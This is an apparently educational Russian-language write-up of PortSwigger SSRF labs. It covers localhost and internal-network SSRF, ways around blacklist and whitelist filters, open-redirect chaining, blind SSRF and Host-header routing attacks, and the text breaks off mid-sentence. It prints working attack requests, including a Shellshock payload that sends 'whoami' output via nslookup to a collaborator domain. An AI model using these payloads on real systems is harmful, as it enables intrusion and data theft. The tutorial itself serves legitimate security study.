Arroiz
    • Create new note
    • Create a note from template
      • Sharing URL Link copied
      • /edit
      • View mode
        • Edit mode
        • View mode
        • Book mode
        • Slide mode
        Edit mode View mode Book mode Slide mode
      • Customize slides
      • Note Permission
      • Read
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Write
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Engagement control Commenting, Suggest edit, Emoji Reply
    • Invite by email
      Invitee

      This note has no invitees

    • Publish Note

      Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

      Your note will be visible on your profile and discoverable by anyone.
      Your note is now live.
      This note is visible on your profile and discoverable online.
      Everyone on the web can find and read all notes of this public team.
      See published notes
      Unpublish note
      Please check the box to agree to the Community Guidelines.
      View profile
    • Commenting
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
      • Everyone
    • Suggest edit
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
    • Emoji Reply
    • Enable
    • Versions and GitHub Sync
    • Note settings
    • Note Insights New
    • Engagement control
    • Make a copy
    • Transfer ownership
    • Delete this note
    • Save as template
    • Insert from template
    • Import from
      • Dropbox
      • Google Drive
      • Gist
      • Clipboard
    • Export to
      • Dropbox
      • Google Drive
      • Gist
    • Download
      • Markdown
      • HTML
      • Raw HTML
Menu Note settings Note Insights Versions and GitHub Sync Sharing URL Create Help
Create Create new note Create a note from template
Menu
Options
Engagement control Make a copy Transfer ownership Delete this note
Import from
Dropbox Google Drive Gist Clipboard
Export to
Dropbox Google Drive Gist
Download
Markdown HTML Raw HTML
Back
Sharing URL Link copied
/edit
View mode
  • Edit mode
  • View mode
  • Book mode
  • Slide mode
Edit mode View mode Book mode Slide mode
Customize slides
Note Permission
Read
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Write
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Engagement control Commenting, Suggest edit, Emoji Reply
  • Invite by email
    Invitee

    This note has no invitees

  • Publish Note

    Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

    Your note will be visible on your profile and discoverable by anyone.
    Your note is now live.
    This note is visible on your profile and discoverable online.
    Everyone on the web can find and read all notes of this public team.
    See published notes
    Unpublish note
    Please check the box to agree to the Community Guidelines.
    View profile
    Engagement control
    Commenting
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    • Everyone
    Suggest edit
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    Emoji Reply
    Enable
    Import from Dropbox Google Drive Gist Clipboard
       Owned this note    Owned this note      
    Published Linked with GitHub
    • Any changes
      Be notified of any changes
    • Mention me
      Be notified of mention me
    • Unsubscribe
    --- title: SSRF --- <div class="header__logo" >Server-side request forgery (SSRF): сервер, а сделай мне запрос на… </div> <p> </p> <style> .header__logo { font-size: 30px; font-weight: 700; color: #270469; text-align: center; } </style> <style> .secret{ display: flex; margin-left: auto; margin-right: auto; width: 50%; } </style> <style> .secret__block{ background-color: #fff; display: block; max-width: 100%; height: auto; transition: opacity .8s linear; color: black; text-transform: uppercase; font-weight: 700; text-align: center; } </style> <style> .secret__block img{ opacity: 5; } </style> <style> .secret__block:hover { opacity: 2 ; } </style> <style> .secret__img { opacity: ; transition: transform 1.8s linear; } </style> <style> .secret__img img{ opacity: 0 ; transition: transform 1.8s linear; } </style> <style> .secret__img img: hover{ opacity: 5 ; transition: transform 1.8s linear; } </style> <style> .secret__img img { display: block; max-width: 100%; height: auto; transition: opacity 1.8s linear; } </style> <style> .secret__img:hover { opacity: 5 ; } </style> <style> .secret__inner { position: relative; background-color: #fff; } </style> <style> .secret__inner:hover .secret__img { transform: translate3d(-10px, -10px, 0); } </style> <style> .secret__inner img:hover { opacity: 0; transition: opacity 2s linear; } </style> <style> .secret__inner img { transition: opacity 2s linear; } </style> <style> .secret__inner:hover .secret__img img { opacity: 1; } </style> ![](https://i.imgur.com/fTXpAvu.png) <div class="TOC" > Содержание: <p> </p> </div> <style> .TOC { font-size: 26px; font-weight: 550; color: #270469; text-align: left; </style> > [TOC] --- # Вводная часть Всем привет, сегодня мы будем разбирать интересную уязвимось, которая существует не только как отдельная вулна, но также она частенько используется совместно с другими уязвимостями/атаками - SSRF(Server-side request forgery). --- # Что такое SSRF :::warning **Подделка запроса на стороне сервера** (Server-side request forgery / SSRF) – это атака, которая позволяет злоумышленнику отправлять запросы от имени сервера к внешним или внутренним ресурсам. При этом злоумышленник может контролировать либо весь запрос целиком, либо его отдельные части (например, домен). ::: Если проще, это атака, с помощью которой злоумышленник может заставить уязвимый сервер отослать запрос куда-либо (на какой-то внешний сервер, на хосты в его локальной сети и тд.), чтобы получить ценную информацию или сделать какое-либо действие, которое хакер в противном случае не смог бы сделать(например удалить пользователя через админскую панель или повысить себя до администратора). --- # Примеры SSRF-атак Предлагаю для лучшего понимания разобрать данную атаку на примере [лабораторных Portswigger'a](https://portswigger.net/web-security/all-labs#server-side-request-forgery-ssrf)! ## SSRF-атаки на сервер :::info Лабораторная: https://portswigger.net/web-security/ssrf/lab-basic-ssrf-against-localhost ::: Предположим у нас есть какое-то веб-приложение и оно, естественно, размещено на каком-то сервере. При 'SSRF-атаке на сам сервер' цель злоумышленника - побудить уязвимое веб-приложение сделать HTTP-запрос обратно на сервер, на котором оно размещено, используя сетевой интерфейс обратной связи, т.е. используя такие URL'ы как 127.0.0.1(loopback) или localhost. Давайте посмотрим на пример такой атаки! Заходим на лабу и приступаем к её решению: ![](https://i.imgur.com/MuaG4Iz.png) Появляемся на сгенерированном сайте и видим подобие интернет-магазина: ![](https://i.imgur.com/LKLLXdx.png) На первый взгляд, на нём ничего интересного. Также при попытке залогиниться под дефолтным акком для всех лабораторных на Portswigger'e(wiener:peter) выдаёт ошибку, т.к. для решения этой лабораторной не надо иметь аккаунт. А что тогда делать:) ? ![](https://i.imgur.com/w5eTll8.png) Давайте попробуем зайти на страничку `/admin`: ![](https://i.imgur.com/LoBnrOQ.png) О, мы узнали 2 вещи сейчас: 1) В приложении существует страница для администраторов, в которой может быть интересующий нас функционал 2) Чтобы получить доступ к этой странице нужно быть либо залогиненым под админом, либо обратиться к этой странице через loopback-адрес (127.0.0.1) :::warning **Зачем приложениям делать прямой доступ к важной странице через loopback?** 1) Проверка контроля доступа может быть реализована в другом компоненте, расположенном перед сервером приложений. При обратном подключении к самому серверу проверка обходится. 2) В целях аварийного восстановления приложение может разрешить административный доступ без входа в систему любому пользователю с локального компьютера. Это дает администратору возможность восстановить систему в случае потери учетных данных. Здесь предполагается, что только полностью доверенный пользователь будет приходить непосредственно с самого сервера. 3) Административный интерфейс может прослушивать номер порта, отличный от номера порта основного приложения, и поэтому пользователи могут быть недоступны напрямую. Уже можно сделать вывод, что *такие* запросы(т.е. запросы, исходящие с локальной машины), обрабатываются слегка иначе, чем обычные запросы -> их можно использовать для SSRF-атаки. ::: ![](https://i.imgur.com/bAcpKr5.png) Ну чтож, когда мы выяснили, что существует интересная страница `/admin`, которая возможно содержит интересный для нас функционал + чтобы получить доступ к этой странице можно просто отослать запрос, используя ip'шник 127.0.0.1(а не зная креды администраторов), мы делаем вывод, что нам нужно просто найти место, откуда можно совершать SSRF-атаки. Давайте просто зайдём на страницу какого-нибудь товара на сайте и посмотрим, что там есть: ![](https://i.imgur.com/SL78oDV.png) На странице товара мы можем найти его описание, картинку товара и форму, с помощью которой можно узнать: есть ли товар в наличии в одном из предоставленных городов. Давайте нажмём на кнопку "Check stock" и посмотрим, что будет. Если вы используете Burp Suite для проксирования трафик, то увидите, что после нажатия кнопки ваш Браузер отправил POST-запрос по маршруту `/product/stock`, в ответ на который пришло 95. Это как раз и есть количество данного товара, которое есть в Лондоне: ![](https://i.imgur.com/eivjksx.png) ![](https://i.imgur.com/SOHY6Wk.png) Давайте перекинем данный запрос в Repeater и проанализируем его: ![](https://i.imgur.com/VkRBUeC.png) В данном запросе есть параметр stockApi, значение которого - это URL `http://stock.weliketoshop.net:8080/product/stock/check?productId=1&storeId=1`, на который наш сервак отправляет запрос. Он здесь применяется, так как чтобы предоставить информацию о запасах, приложение должно запрашивать различные серверные REST API, в зависимости от рассматриваемого продукта и магазина. Отправив данный HTTP-запрос мы заставляем сервер сделать запрос к указанному URL-адресу, который локальный для самого сервака. Сервер в ответ получает некоторую информацию и возвращает уже нам количество товара в том или ином магазине: ![](https://i.imgur.com/ijxlpIE.png) Давайте попробуем вместо "правильного" URL-адреса ввести адрес этого же веб-приложения с маршрутом до `/admin`: ![](https://i.imgur.com/SOP0KIf.png) Мы получаем ответ, по которому можем сделать 2 вывода: 1) Мы можем указывать любой URL-адрес, и сервер пошлёт туда запрос -> мы отыскали поверхность для SSRF-атаки. 2) Нам выкинуло 401, так как мы забыли, что чтобы получить содержимое страницы `/admin` нам надо либо быть админстратором, либо сделать loopback запрос, то есть запрос на 127.0.0.1. Давайте поменяем значение `stockApi` на `http://127.0.0.1/admin` (мы используем http так как административный интерфейс через loopback прослушивает другой номер порта, отличный от номера порта основного приложения, в нашем случае это 80 порт, при попытке отправить запрос по https, т.е. 443 порт, мы получим ошибку): ![](https://i.imgur.com/ZxxNKP7.png) Отлично, нам удалось увидеть что находится на странице `/admin`! А теперь нам нужно по заданию как-то удалить бедного Карлоса. Давайте просмотрим не на отрендереную страничку, а на голый html-код. Здесь мы увидим тег `section` внутри которого есть тег `<a>`, в котором уже есть маршрут, отправив на который GET-запрос `/admin/delete?username=carlos` мы сможем удалить пользователя Карлоса. Естественно мы не напрямую отправляет GET-запрос, а через свой POST-запрос заставляем уязвимый сервер отправить такой GET-запрос, который уже и удалит пользователя Карлоса: ![](https://i.imgur.com/DoEjTtv.png) ![](https://i.imgur.com/X44qNbq.png) После этого лабораторная будет решена: ![](https://i.imgur.com/wcMaaTP.png) ## SSRF-атаки на другие хосты в локальной сети сервера :::info Лабораторная: https://portswigger.net/web-security/ssrf/lab-basic-ssrf-against-backend-system ::: Другой тип атак, который мы можем сделать с помощью SSRF - "SSRF-атаки на другие бэк-энд системы". Смысл этих атак заключается в следующем: Уязвимый к SSRF-атаке сервер может взаимодействовать с другими хостами в своей локальной сети, недоступными для пользователей напрямую. Эти хосты часто имеют немаршрутизируемые частные IP-адреса (10.0.0.0/8, 192.168.0.0/16 и тд.). Поскольку такие хосты обычно защищены топологией сети(так как из-за частных ip-адресов к ним подобраться почти нереально напрямую), они часто имеют более слабую защиту, так как а зачем заморачиваться, если и так всё готово:D Во многих случаях такие внутренние хосты содержат конфиденциальные функции, доступ к которым без аутентификации может получить любой, кто может взаимодействовать с этими системами хоть как-нибудь. Давайте откроем следующую лабораторную. Суть такая же: у нас есть интернет-магазин, в котором есть поверхность для SSRF-атаки, она находится в механизме проверки количества товара в выбранном магазине. Цель: удалить аккаунт Карлоса. Мы знаем, что в локальной сети есть хост с IP-адресом 192.168.0.X, на его порту 8080 висит админка от приложения, через неё мы должны удалить аккаунт бедняги. Давайте перейдём сразу к запросу, с помощью которого можно проэксплуатировать SSRF-атаку: ![](https://i.imgur.com/AbBilqC.png) Так как это "внутренний" сервис, он точно будет не https и там точно есть `/admin` страница + порт 8080, поэтому наш сырой URL-адрес будет `http://192.168.0.X:8080/admin`. Мы знаем, что нужный хост имеет IP-адрес в диапазоне от 192.168.0.0 до 192.168.0.255 (поставил 255 чисто показать диапазон, на самом это уже широковещатиельный адрес на подсеть 192.168.0.X так что вряд-ли хост имеет этот адрес :D) Так что давайте вручную перебирать это всё не будем, а используем для этого Intruder! Тыкните на запрос ЛКМ -> ПКМ -> Send to Intruder. Дальше убираем через Clear начальное выделение, выделяем последний октет нашего IP-адреса и добавляем на него выделение(Add). ![](https://i.imgur.com/YaFK9JT.png) Во вкладке Payloads выбираем тип пэйлоада Числа (Numbers) и ставим диапазон с 0 до 255(можно и до 254) с шагом 1, таким образом каждый новый запрос число будет увеличиваться на 1. После этого можем начинать атаку! ![](https://i.imgur.com/2Xk8NTz.png) После того, как перебор закончиттся, фильтруем результат по Status коду, нам нужно то, что имеет статус 200(то есть запрос был успешным): ![](https://i.imgur.com/A3zahrn.png) Дальше я нужный запрос отправил в Repeater для удобства. И дальше как в предыдущем примере: ищем ссылку, с помощью которой мы сможем заставить сервер отправить такой GET-запрос, чтобы удалить аккаунт Карлоса -> лаба будет решана. Это уже сделаете сами:) ![](https://i.imgur.com/pNvhug1.png) --- # Обход защиты от SSRF-атак ## Обход чёрного и белого списка значений **Чёрный список:** Естественно, существуют определённые методы защиты от SSRF-атак, например блокировка запросов, которые содержат такие имена хостов как `127.0.0.1` и `localhost`, или конфиденциальные маршруты, такие как `/admin`. Для обхода данной защиты можно сделать следующее: - Альтернативное представление IP-адреса `127.0.0.1`: `2130706433`, `017700000001` или `127.1`. - Использование домена, который резолвится (Процесс получения IP-адреса по домену) в `127.0.0.1`. Например `spoofed.burpcollaborator.net` и др. - Использование URL-кодировки и разные варианты регистра. - Использование вместо https - http - И др. --- **Белый список:** Также некоторые приложения разрешают только ввод, который соответствует/начинается с/содержит белый список разрешенных значений. В этой ситуации можно обойти фильтр, используя несоответствия при синтаксическом анализе URL. Спецификация URL-адреса содержит ряд функций, которые могут быть упущены из виду при реализации специального синтаксического анализа и проверки URL-адресов: - Вставка учетных данных в URL-адрес перед именем хоста, используя символ @. Например: `https://ожидаемый-хост:какой-тоПароль@зловредный-хост` - Использование символа # для обозначения фрагмента URL. Например: `https://зловредный-хост#ожидаемый-хост` - Использование иерархии DNS-имен, чтобы поместить необходимые входные данные в полное DNS-имя, которым можно управлять. Например: `https://ожидаемый-хост.зловредный-хост` - Кодировка символами URL, чтобы запутать код анализа URL. Это особенно полезно, если код, реализующий фильтр, обрабатывает символы в кодировке URL иначе, чем код, выполняющий серверный HTTP-запрос. Можно попробовать двойное кодирование символов; некоторые серверы рекурсивно декодируют URL-адреса получаемых входных данных, что может привести к дальнейшим расхождениям. - Использование комбинации этих методов вместе: `http://localhost:80#@stock.weliketoshop.net/admin` ## Обход фильтра через открытое перенаправление (open redirect) Иногда можно обойти любую защиту на основе фильтров, используя уязвимость открытого перенаправления. :::warning **Open Redirect Vulnerabilities** — уязвимость web-сайта, позволяющая путём манипуляции параметров в URL перенаправить пользователя на ресурс, непредусмотренный разработчиком. В результате злоумышленник может отправить жертве письмо со ссылкой на один сайт, а в результате редиректа жертва попадёт на другой сайт. ::: В предыдущем примере SSRF предположим, что введенный пользователем URL-адрес строго проверяетсяи ни одиен из методов не подошёл. Однако приложение, URL-адреса которого разрешены, содержит открытую уязвимость перенаправления. При условии, что API, используемый для создания серверного HTTP-запроса, поддерживает перенаправления, можно создать URL-адрес, который удовлетворяет фильтру и приводит к перенаправлению запроса на желаемую внутреннюю цель. Например, предположим, что приложение содержит открытую уязвимость перенаправления, в которой следующий URL-адрес: `/product/nextProduct?currentProductId=6&path=http://evil-user.net` возвращает перенаправление на: `http://evil-user.net` Можное использовать уязвимость открытого перенаправления, чтобы обойти фильтр URL-адресов, и использовать уязвимость SSRF следующим образом: ``` POST /product/stock HTTP/1.0 Content-Type: application/x-www-form-urlencoded Content-Length: 118 stockApi=http://weliketoshop.net/product/nextProduct?currentProductId=6&path=http://192.168.0.68/admin ``` Этот эксплойт SSRF работает, потому что приложение сначала проверяет, что предоставленный stockAPI URL-адрес находится в разрешенном домене, что так и есть. Затем приложение запрашивает предоставленный URL-адрес, который запускает открытое перенаправление. Он следует за перенаправлением и делает запрос на внутренний URL-адрес по выбору злоумышленника. --- # Blind SSRF ## Что это такое Слепые SSRF-уязвимости, как и слепые SQLi, это ситуация при которой приложение уязвимо для SSRF-атаки, но при этом оно не возвращает никакого ответа -> провернуть такую атаку очень тяжело, как минимум потому, что мы даже не уверены, что её впринципе можно делать:) ## Как найти слепую SSRFку Как и с SQLi самый лучший способ идентифицировать наличие уязвимости - OAST(Out-of-band application security testing). Т.е. мы заставляем сервер сделать HTTP-запрос к внешней системе, которую мы контролируем, и в которой мы можем отслеживать сетевые взаимодействия с этой системой, то есть видить все пришедшие запросы. Если запрос был от нужного IP'шника -> бага есть, и мы можем пытаться её раскрутить! Для этого можем юзать такие тулзы как Burp Colaborator, Interactsh и др. :::warning Стоит сказать, что при идентификации наличия уязвимости к нам на сервер может придти не **DNS-запрос**, после которого последует **HTTP-запрос**, а придёт только **DNS-запрос и усё**. Обычно это происходит из-за того, что приложение пыталось выполнить **HTTP-запрос** к домену, что вызвало первоначальный поиск **DNS**, но фактический **HTTP-запрос** был заблокирован фильтрацией на уровне сети. Инфраструктура довольно часто разрешает исходящий трафик **DNS**, поскольку он необходим для очень многих целей, но блокирует **HTTP-подключения** к неожиданным адресатам. ::: ## Пример эксплуатации слепой SSRF :::info Лабораторная: https://portswigger.net/web-security/ssrf/blind/lab-out-of-band-detection ::: Описание лабораторной: ![](https://i.imgur.com/TeXFjN0.png) Давайте зайдём на лабу и чекнем количество товар.. Стоп, а где эта функциональность? ![](https://i.imgur.com/jPm07fh.png) Предлагаю кинуть в Repeater запрос со страницей товара и подумаем что нам делать дальше: ![](https://i.imgur.com/uLFI1Mh.png) Как мы помним по описанию, **на сайте есть какое-то аналитическое ПО, которое извлекает URL из заголовка Referer, при загрузке продукта**. То есть, скорее всего, это ПО и будет для нас той самой скрытой поверхностью для применения SSRF-атаки! Давайте тогда в Header'е Referer вставим сгенерированную ссылку на наш коллаборатор: ![](https://i.imgur.com/JuWbTVO.png) И дальше отправим запрос, после чего будем ждать на коллабораторе отстуков: ![](https://i.imgur.com/5zrxTLi.png) А вот и отстуки пришли -> значит можно через это ПО делать SSRF-атаки! ![](https://i.imgur.com/Q3IbRwt.png) Но первая лаба по blind SSRF на этом и заканчивается, давайте сразу перейдём ко второй и посмотрим как именно использовать blind SSRF, так как идентификация наличия SSRF - это хорошо, но если это всё, что мы можем сделать, то это грустно:) ![](https://i.imgur.com/fHBbVhq.png) --- :::info Лабораторная: https://portswigger.net/web-security/ssrf/blind/lab-shellshock-exploitation ::: Поскольку при blind SSRF нельзя просмотреть ответ от внутреннего запроса, становиться невозможным использоваться такой SSRF для изучения содержимого в на внутренних хостах. Однако даже так всё равно можно использовать данную вулну для поиска других уязвимостей на самом сервере или в других внутренних системах: Можно вслепую сканировать внутреннее пространство IP-адресов, отправляя пэйлоады, предназначенные для обнаружения известных уязвимостей. Это конечено своего рода тупой перебор, в котором мы пытаемся заэксплойтить кучу разных известных уязвимостей на внутренних хостах, но если ничего другого нельзя сделать - то это наш единственный вариант:) Предлагаю сразу продолжить с того, на чём закончили в предыдущей лабораторной: Мы отправили запрос с нашим доменом коллаборатора в заголовке Referer: ![](https://i.imgur.com/gEJ74JX.png) И получили отстуки. Здесь стоит обратить внимание, что запрос идёт **ОТ** сервера, но при этом почему-то в запросе есть **МОЙ** User-Agent: ![](https://i.imgur.com/TSSBLVk.png) Может мы не так что-то поняли, давайте ещё раз отправим запрос, только поменяем слегка User-Agent: ![](https://i.imgur.com/DGS5fBN.png) ![](https://i.imgur.com/R23IKeB.png) Всё правильно, данная ПО для сбора аналитики передаёт куда-то дальше мой User-Agent. И вроде тут ничего такого, если бы не одна вулна, и причина по которой её можно использовать совместно с SSRF: :::warning **Есть такая штука, которая называется CGI-скрипт**. **CGI (от англ. Common Gateway Interface — «общий интерфейс шлюза»)** — стандарт интерфейса, используемого для связи внешней программы с веб-сервером. Программу, которая работает по такому интерфейсу совместно с веб-сервером, принято называть шлюзом, хотя многие предпочитают названия «скрипт» (сценарий) или «CGI-программа». Поскольку гипертекст(та самая HTMK'ка) статичен по своей природе, веб-страница не может непосредственно взаимодействовать с пользователем. До появления JavaScript, не было иной возможности отреагировать на действия пользователя, кроме как передать введенные им данные на веб-сервер для дальнейшей обработки. В случае CGI эта обработка осуществляется с помощью внешних программ и скриптов, обращение к которым выполняется через стандартизованный (см. RFC 3875: CGI Version 1.1) интерфейс — общий шлюз. На сервере, где находится сайт, должно быть разрешено выполнение cgi-скриптов. Дело в том, что скрипт, как и любая другая программа, может выполнять системные команды на сервере, что представляет потенциальную угрозу безопасности **Как работает CGI-скрипт?** ![](https://i.imgur.com/TlL40Rv.png) 1) Клиент запрашивает CGI-приложение по его URI. 2) Веб-сервер принимает запрос и устанавливает переменные окружения, через них приложению передаются данные и служебная информация. 3) Веб-сервер перенаправляет запросы через стандартный поток ввода (stdin) на вход вызываемой программы(допустим скриптик на Perl). 4) CGI-приложение выполняет все необходимые операции и формирует результаты в виде HTML. 5) Сформированный гипертекст(html-документ) возвращается веб-серверу через стандартный поток вывода (stdout). Сообщения об ошибках передаются через stderr. 6) Веб-сервер передает результаты запроса клиенту. Подробнее об этой штуке можно почитать [ТУТ](https://lectureswww.readthedocs.io/5.web.server/cgi.html)! ::: :::danger **CVE-2014-6271, CVE-2014-7169: удалённое выполнение кода в Bash** Bash позволяет экспортировать функции как переменные окружения: ``` $ myfunc() { echo "Hello"; } #объявляю функцию $ export -f myfunc #делаю данную функцию переменной окружения $ env | grep -A1 ^myfunc #вывожу все переменные окружени и прошу выдрать оттуда только кусок, связанной с той функцией выше myfunc=() { echo "Hello" } ``` Уязвимость состоит в том, что если после тела функции (после последнего символа "}") добавить ещё какую-нибудь команду, и экспортировать её — она будет выполнена при вызове дочернего интерпретатора: ``` $ env x='() { :; }; echo "Oh..."' /bin/bash -c /sbin/nologin Oh... This account is currently not available. ``` Это, в свою очередь, позволяет делать интересные вещи — например, если у вас есть CGI-скрипт на Perl, который вызывает Bash — атакующий может сконструировать HTTP-пакет, который будет содержать вредоносный код. Этот код через переменные окружения попадёт в Bash — и будет выполнен. Данную вулну называют **ShellShock**! ::: Теперь когда мы узнали об CGI и об опасной вулне, которая с ним связана, мы можем предположить следующее: возможно где-то в локальной сети сервера есть тот самый хост, который уязвим для этой вулны. И мы можем просто вслепую просканировать с 192.168.0.0 - 192.168.0.254 с полезной нагрузкой в User-Agent(так как именно она пересылается в запросе и гипотетически она может попасть в CGI, который вызовет Bash и наша полезная нагрузка отработает), которая поможет нам узнать имя пользователя ОС, от имени которого и запущен данный скрипт! В качестве полезной нагрузки я буду использовать следующее: ``` () { :; }; /usr/bin/nslookup $(whoami).BURP-COLLABORATOR-SUBDOMAIN ``` С помощью неё можно заставить внутренний хост сделать DNS запрос к нашему коллаборатору, прикрепив к нему вначале в качестве поддомена вывод команды whoami! А теперь давайте перекинем запрос в Intruder и выделим последний октет: ![](https://i.imgur.com/1ZDgZLd.png) Во вкладке Payloads выставляем тип цифры и диапазон от 0 до 254 с шагом 1. И начинаем атаку: ![](https://i.imgur.com/USvYWMl.png) В коллабораторе получаем отстук. Доменом тут служит наш коллаборатор, к которому в качестве поддомена прикреплно имя пользователя ОС внутреннего хоста: ![](https://i.imgur.com/h8h3K0w.png) Дальше просто отправляем ответ и заканчиваем с лабой! ![](https://i.imgur.com/iUVryGJ.png) --- # Другие примеры использования SSRF-атаки Мы чуть ранее рассмотрели SSRF-атаку через Referer заголовок, что может быть для многих слегка не очевидно, но помимо этой атаки существуют и другие не менее интересные SSRF-атаки, давайте же разберём их! ## Неправильная маршрутизация запросов Следующие методы использования SSRF-атак связаны с неправильной маршрутизацией запросов и с ревёрс прокси-серверами, так что давайте быстро ознакомимся с ними, дабы к этому больше не возвращаться! ![](https://i.imgur.com/YUndzsW.png) :::info **Обратный прокси (реверс-прокси)** — это сервер, который находится перед группой клиентских компьютеров. Когда они отправляют запросы к сайтам и сервисам в интернете, прокси-сервер выступает в роли посредника: перехватывает запросы, а затем связывается с веб-серверами от имени клиентов. Он нужен для следующего: 1) **Балансировка нагрузки**. Например, популярный сайт, который ежедневно посещают миллионы пользователей, в определенный момент может не справиться с нагрузкой и не сможет обрабатывать весь входящий трафик с помощью одного исходного сервера. В таких случаях трафик можно распределить по нескольким веб-серверам, которые будут обрабатывать запросы. В случае критического сбоя основного сервера другие веб-серверы могут подключиться к обработке трафика. 2) **Защита от атак**. Обратный прокси позволяет исходным серверам не раскрывать свои IP адреса клиентам. Это значительно затрудняет проведение DDoS-атак: все запросы можно пропускать через прокси-сервер с более надежной системой защиты и большей мощностью по сравнению с основным сервером. Например, через сервер Cloudflare. 3) **Глобальная балансировка нагрузки на сервер (GSLB)**. Этот подход предполагает распределение сайта по нескольким серверам, которые физически расположенны в разных странах мира. Обратный прокси отправляет запрос пользователя на сервер, который географически находится ближе к нему. Это уменьшает расстояние, которые необходимо преодолевать запросам и ответам, сводя к минимуму время загрузки. 4) **Кэширование**. Обратный прокси-сервер также может кэшировать содержимое запроса и таким образом повышать производительность. Например, если пользователь из Парижа заходит на сайт, сервера которого расположены в Лос-Анджелесе, он может сделать это через локальный прокси в Париже, который затем взаимодействует с исходным сервером в Лос-Анджелесе. Прокси-сервер кэширует (или временно сохраняет) данные ответа, а следующие пользователи из Парижа увидят кэшированную локально версию данных, поскольку кэш будет на парижском реверс-прокси. Это существенно повысит производительность и время загрузки данных. 5) **SSL-шифрование**. Шифрование и дешифрование сообщений (SSL или TLS) для каждого клиента по отдельности стоит дорого с точки зрения вычислений для исходного сервера. Обратный прокси-сервер можно настроить для расшифровки всех входящих запросов и шифрования всех исходящих ответов, освободив ресурсы на исходном сервере. ::: --- Обратным прокси поручается ретрансляция входящих запросов на соответствующий внутренний сервер. Обычно они занимают привилегированное положение в сети, напрямую получая запросы из Интернета, но имея доступ к демилитаризованной зоне компании, если не ко всей ее внутренней сети. При наличии подходящей полезной нагрузки некоторыми обратными прокси-серверами можно манипулировать, чтобы они направляли запросы в пункт назначения по выбору злоумышленника. Это фактически делает их шлюзом, обеспечивающим беспрепятственный доступ к внутренней сети цели — сверхмощный вариант подделки запросов на стороне сервера. ### SSRF-атака через заголовок Host Для эксплуатации данного вида SSRF-атак для большинства случаев достаточно изменить значение заголовка Host в HTTP-запросе: ``` GET / HTTP/1.1 Host: uniqid.burpcollaborator.net #вот это значение как раз и надо менять! Connection: close ``` Ревёрс прокси-сервера парсят значение данного заголовка и используют его как адрес, на который надо перенаправить запрос -> если можно поставить любое значение и ревёрс-прокси его не дропнет, то мы можем делать наши SSRF'ные дела(попытаться вытащить данные, сделать какое-либо "запрещённое" действие, попытаться получить rce(remote code execution) и тд). --- Ествественно это не всегда 100% лежит на поверхности, и надо порой преобразовать запрос так, чтобы всё отработало. Например, некоторые сервера могут допустить такой HTTP-запрос, чтобы у него в заголовке Host был домен с ПОРТОМ(`google.com:80`)! И это можно использовать: ``` GET / HTTP/1.1 Host: innocent-site.com:80@burp-collaborator.net Connection: close ``` ### SSRF-атака через URL-адрес Что делать если значения заголовка Host должны соответствовать заданному white-листу? Можно ли тут хоть как-нибудь эксплуатировать SSRF? Ответ - да! В строке запроса также может быть указан хост, который имеет приоритет над заголовком Host: ``` GET http://internal-website.mil/ HTTP/1.1 #он имеет приоритет! Host: xxxxxxx.mil Connection: close ``` --- Также стоит сказать, что уязвимости связанные с маршрутизацией не всегда вызваны неправильными настройками. Например, следующий код приводит приводит к неочивидной SSRF-атаке: ``` Url backendURL = "http://public-backend/"; String uri = ctx.getRequest().getRawUri(); URI proxyUri; try { proxyUri = new URIBuilder(uri) .setHost(backendURL.getHost()) .setPort(backendURL.getPort()) .setScheme(backendURL.getScheme()) .build(); } catch (URISyntaxException e) { Util.sendError(ctx, 400, INVALID_REQUEST_URL); return; } ``` На первый взгляд тут ничего такого:) Код берет предоставленный пользователем URL-адрес, заменяет домен жестко заданным адресом внутреннего сервера и передает его дальше. Вроде ничего такого, только если на сервере есть серверная библиотека Apache HttpComponents(старой версии), то появляется беда, так как она не требует, чтобы пути начинались с «/». Соответственно можно сделать примерно такой запрос: ``` GET @burp-collaborator.net/ HTTP/1.1 Host: someDomain.com Connection: close ``` И получить на выходе `http://public-backend@burp-collaborator.net/`, и запрос полетит уже не во внутрь, а на коллаборатор! Если же нельзя использовать `@`, то не беда! Если код имеет такую же функцию на серверной стороне, то запрос можно слегка изменить и всё равно выполнить SSRF-атаку: ``` GET xyz.burpcollaborator.net:80/bar HTTP/1.1 Host: someDomain.com Connection: close ``` `http://public-backendxyz.burpcollaborator.net:80/bar` ## Атаки на вспомогательные системы Помимо атак на обратные прокси-сервера есть и атаки на вспомогательные системы(бэкэнд-аналитика и кэширование). В отличие от атак на основе маршрутизации, эти методы обычно не мешают нормальной работе веб-сайтов. Одну из таких атак мы уже рассмотрели в разделе со слепой SSRF'кой, давайте же посмотрим на другие такие же атаки! ### Вызов отстуков с помощью различных заголовков **X-Forwarded-For и True-Client-IP** Данные заголовки обычно используются пентестерами для подмены своего IP-адреса, но также поддерживают имена хостов. Приложения, которые доверяют этим заголовкам, будут выполнять поиск DNS для преобразования предоставленных имен хостов в IP-адреса. Это служит отличным индикатором того, что они уязвимы для атак с подменой IP-адресов, но если нет под рукой уязвимости, связанной с повреждением памяти библиотеки DNS, отстуки само по себу будут бесполезны:( **X-WAP-Profile** X-Wap-Profile — это древний HTTP-заголовок, который должен указывать URL-адрес профиля пользовательского агента устройства (UAProf), XML-документ, определяющий возможности устройства, такие как размер экрана, поддержка Bluetooth, поддерживаемые протоколы и кодировки и т. д.: ``` GET / HTTP/1.1 Host: facebook.com X-Wap-Profile: http://nds1.nds.nokia.com/uaprof/N6230r200.xml Connection: close ``` Соответствующие приложения будут извлекать URL-адрес из этого заголовка, а затем извлекать и анализировать указанный документ XML, чтобы они могли адаптировать содержимое, которое они предоставляют клиенту. Если веб-сайт поддерживет данный заголовок, то можно попытаться сделать SSRF'ку + 1 использовать одну уязвимость, связанную с XML, которую мы рассмотрим в следующий раз! **Referer** Ну.. мы уже 